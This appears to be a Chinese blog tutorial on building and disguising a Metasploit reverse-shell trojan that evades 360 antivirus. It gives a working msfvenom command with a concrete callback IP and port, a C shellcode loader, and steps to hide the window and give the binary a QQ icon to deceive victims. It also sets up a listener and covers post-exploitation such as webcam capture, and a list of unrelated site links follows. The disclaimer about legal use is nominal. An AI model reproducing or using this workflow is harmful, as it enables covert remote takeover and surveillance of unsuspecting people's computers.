Metasploit的简单木马免杀技术及后渗透面临的问题
PS:本文仅用于技术交流与分享,严禁用于非法用途
一. 配置ngrok准备内网穿透
内网穿透的必要性和原理就不用说了,直接说操作。首先到ngrok官网去注册一个号,国内也有一个sunny ngrok,但是我用了几次全失败了,所以推荐国外的,网址是:https://ngrok.com/。
我注册的时候面临验证码刷不出来,所以建议选择用github账号登陆就好。登陆好之后就在kali下载好对应版本的客户端。下载好之后你需要在kali上用他给你的凭证进行登陆——命令行输入
./ngrok authtoken (你的凭证字符串)。
凭证可以在官网上复制。
然后接着输入:
./ngrok tcp 1234
这的1234是你本地的端口,出现如下画面说明你成功了,然后让他一直开着。
左边就是给你用的端口,右边就是你本地的端口
然后你可以通过ping这个给你的网址得到IP,这个是ping不通的,不过可以得到IP就可以了。这个每次重新穿透的时候都会更换远程端口,这是比较egg疼的,不过免费嘛,算可以了。
二.木马的伪装与简单免杀
木马面临的最基本的问题就是免杀,如果不能免杀,被杀毒软件发现,其作用几乎为零,至于怎么感染别人,就得看你的忽悠能力或者USB的方式,但是首要的应该是免杀。
我采用的是比较简单的免杀方式,依靠msf生成的shellcode免杀。
在命令行输入:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=52.14.61.47 LPORT=13098 -e x86/shikata_ga_nai -i 15 -b 'x00' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > /root/Desktop/shellcode.c
这里的paylload选择windows/meterpreter/reverse_tcp,LHOST和LPORT分别填ngrok给你的网址和端口,-e x86/shikata_ga_nai -i 15是用-e x86/shikata_ga_nai编码15次,而PrependMigrate=true PrependMigrateProc=svchost.exe使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程,这样别人打开之后就无法再常规的去关闭回连的会话。你还可以使用windows/meterpreter/reverse_tcp_rc4这个payload,对会话进行加密,增加免杀能力。
相信大家都试过,直接输出exe文件就算注入其他软件和进行编码n遍也会马上被查杀出来。多次测试发现用x86/shikata_ga_na编码超过12次以上再通过shellcode编译出来都能免杀。
如下图你的桌面会有一个shellcode.c文件
将其移到 windows,用记事本打开会有 :unsigned char buf[] =”一长串数字”
接着就开始编译木马,我使用的是vs2015
下载链接: https://pan.baidu.com/s/1BgxZeCTZoFvpm_lhxcRXCw 密码:bchi
在visual studio下新建一个c++的win32项目将以下代码模板复制进去,在把你得到的shellcode那长串数字复制到shellcode的位置。
#include<stdio.h>#include<windows.h>#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //去除窗口unsigned char shellcode[]= (这里就是shellcode)void main(){ LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)();}
编译方法网上有很多种,这个时候已经可以编译了,但是我们还可以对图标进行更改伪装:右击你的项目-→添加-→资源-→图标-→新建,再用电脑的搜索查找*.icon,找到 QQ的图标找到你这个项目的文件夹下会有一个1icon.ico文件,将QQ的图标改成1icon.ico,拖进去替换掉原来的那个图标文件
然后vs平台就会出现下图:
这个时候你再编译出来就会是一个QQ图标的木马。具体情况下你可以以此方法任意改图标再重命名,使你的木马更加具有迷惑性。
我们再使用国内普遍的360杀毒软件测试一下效果,证明可以免杀了
只要在不影响shellcode的情况下,你可以对这个程序再增加扩展(就看你的c语言功底了),比如这里使用#pragma comment(linker,”/subsystem:”windows” /entry:”mainCRTStartup””)隐藏程序窗口,并用这个程序取代快捷方式,再通过这个程序调用原来真正的程序基本就神不知鬼不觉了。
其次就是建议各位在测试自己的木马时一定要关闭云端上传功能,360会收集可以软件,上传云端检测,然后备份通杀,所以你的木马没准今天还可以免杀,明天就全国联保了。心疼被吃的一个马。
三.meterpreter后渗透功能测试
先配置好监听端
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 1234exploit
注意LHOST和LPORT配置为之前和ngrok绑定的本地的端口!!
然后等待别人运行我们的木马。如下就是成功了。
然后我让远在异地的女友和我的室友帮我测试了一下,结果也是成功的,具体你们也可以试试。这个时候你基本可以操控很多功能了。
但是我又发现360的行为检测会阻止meterpreter许多功能,简单的getsystem提权绝对失败,通过哈希传递和假冒令牌的方式提权,都会被报可疑程序在调用驱动,甚至拍照都会报可以程序在调用摄像头(部分电脑不会报)
然后msf会收到一张360的调戏图:
但是你接着第二次使用:
Webcam_snap 1
又不会报并且拍照成功(很奇怪)
再至于常规的持久化控制命令不是失败就是会被360查杀
并将我们的木马曝光(十分危险),而如果尝试关闭360的进程则其核心进程又无法关闭,又尝试运行360的卸载程序,结果又报可以程序在调用360部分文件,非常恼火。
据说通过删除系统文件夹就可以卸载360了,不过不建议,因为那等于暴露了。
希望这篇文章能够帮助大家的学习,但是这些技术仅供学习使用,切不可用这些技术做非法的事,合法上网从我做起
以上就是对于msf的简单利用,我还是一个渗透学习路上的菜鸟,欢迎大家提出过程中的问题,或者为后渗透的问题提供解决办法和思路,谢谢大家
- 删除 WordPress 导航菜单的多余 CSS 选择器
- 使用asp.net 2.0的CreateUserwizard控件如何向自己的数据表中添加数据
- 自定义(修改)WordPress管理后台界面的字体样式
- Sql Server 2005 ROW_NUMBER 函数实现分页
- Http协议中的数据传送之多重表单提交--multipart/form-data
- 另类大数据:中国有嘻哈的rapper们都在唱些什么?
- jquery属性值选择器
- sqlserver 2000/2005 Ambiguous column error错误解决办法
- jquery 层级选择器
- Twitter发布基于组件的轻量级JavaScript框架——Flight
- jquery的基本选择器
- WordPress 路径相关函数总结(一):站点路径相关函数
- 修复Visual Studio 2010 SP1的Toolbox导致的VS不可用
- 破解Excel 密码保护
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Binary Search - 378. Kth Smallest Element in a Sorted Matrix
- Array - 59. Spiral Matrix II
- Array - 54. Spiral Matrix
- String - 8. String to Integer (atoi)
- Array - 16. 3Sum Closest
- Array - 15. 3Sum
- Design - 146. LRU Cache
- LinkedList - 142. Linked List Cycle II
- LinkedList - 2. Add Two Numbers
- Array - 56. Merge Intervals
- golang 内存分析/内存泄漏
- golang gctrace分析gc过程
- golang 标准库 time/rate 介绍
- golang map的并发读写导致panic
- 正则表达式